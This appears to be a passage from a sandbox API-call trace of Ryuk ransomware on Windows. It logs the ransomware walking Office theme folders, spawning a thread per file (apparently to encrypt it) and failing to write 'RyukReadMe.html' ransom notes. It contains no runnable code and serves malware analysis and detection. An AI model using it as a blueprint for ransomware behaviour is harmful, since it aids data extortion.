	[0164.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.165] GetLastError () returned 0x5
	[0164.165] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.165] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.165] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0164.165] SetLastError (dwErrCode=0x0) 
	[0164.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.166] GetLastError () returned 0x5
	[0164.166] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.168] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.168] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x8e, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1
	[0164.168] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774
	[0164.312] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.313] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x8e, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1
	[0164.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778
	[0164.316] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.316] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.316] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c
	[0164.319] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.320] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.320] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780
	[0164.323] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.324] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.324] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.324] SetLastError (dwErrCode=0x0) 
	[0164.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.325] GetLastError () returned 0x5
	[0164.325] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.325] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0164.325] SetLastError (dwErrCode=0x0) 
	[0164.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.325] GetLastError () returned 0x5
	[0164.325] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.327] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.327] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x8e, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1
	[0164.327] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784
	[0164.330] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.331] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1
	[0164.331] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788
	[0164.333] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.334] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.334] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c
	[0164.336] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.336] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.336] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790
	[0164.339] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.340] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.340] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.340] SetLastError (dwErrCode=0x0) 
	[0164.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.341] GetLastError () returned 0x5
	[0164.341] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.341] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0164.341] SetLastError (dwErrCode=0x0) 
	[0164.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.341] GetLastError () returned 0x5
	[0164.341] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.342] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.342] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x8e, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1
	[0164.342] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794
	[0164.345] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.346] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x8e, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1
	[0164.346] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798
	[0164.491] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.492] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.492] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c
	[0164.494] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.494] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.495] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0
	[0164.497] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.498] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.498] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.498] SetLastError (dwErrCode=0x0) 
	[0164.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.498] GetLastError () returned 0x5
	[0164.499] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.499] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0164.499] SetLastError (dwErrCode=0x0) 
	[0164.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.499] GetLastError () returned 0x5
	[0164.499] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
